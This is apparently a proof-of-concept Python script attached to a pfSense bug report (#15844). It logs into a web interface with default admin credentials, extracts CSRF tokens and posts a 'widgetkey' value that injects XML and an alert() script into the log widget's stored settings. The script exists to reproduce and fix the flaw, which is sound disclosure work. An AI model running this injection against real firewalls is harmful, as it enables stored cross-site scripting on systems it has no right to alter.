Project

General

Profile

Bug #15844 » poc-widgetkey-15844.py

Jim Pingle, 11/22/2024 07:24 PM

 
1
#!/usr/bin/env python3
2
import requests
3
requests.packages.urllib3.disable_warnings()
4
from bs4 import BeautifulSoup
5

    
6
baseurl  = 'https://192.168.1.1'
7

    
8
target = baseurl + '/widgets/widgets/log.widget.php'
9

    
10
login_data = {
11
    'login'        : 'Login',
12
    'usernamefld'  : 'admin',
13
    'passwordfld'  : 'pfsense',
14
}
15

    
16
target_data = {
17
    'filterlogentries' : '10',
18
    'widgetkey'        : 'test/><log-0><filterlogentriesinterval>5;alert("XSS");var test=50</filterlogentriesinterval></log-0><!--'
19
}
20

    
21
headers = {'user-agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:132.0) Gecko/20100101 Firefox/132.0'}
22

    
23
with requests.Session() as s:
24
    # Fetch CSRF token from login page
25
    r = s.get(baseurl, headers=headers, verify=False)
26

    
27
    soup = BeautifulSoup(r.text, 'lxml')
28
    login_data['__csrf_magic'] = soup.find('input', attrs = { 'name' : '__csrf_magic' })['value']
29

    
30
    # Login
31
    r = s.post(baseurl, data=login_data, headers=headers)
32

    
33
    # Find the next CSRF token
34
    soup = BeautifulSoup(r.text, 'lxml')
35
    target_data['__csrf_magic'] = soup.find('input', attrs = { 'name' : '__csrf_magic' })['value']
36

    
37
    # Submit actual request
38
    r = s.post(target, data=target_data, headers=headers)
39

    
40
    # Dump response
41
    print(r.text)
(1-1/4)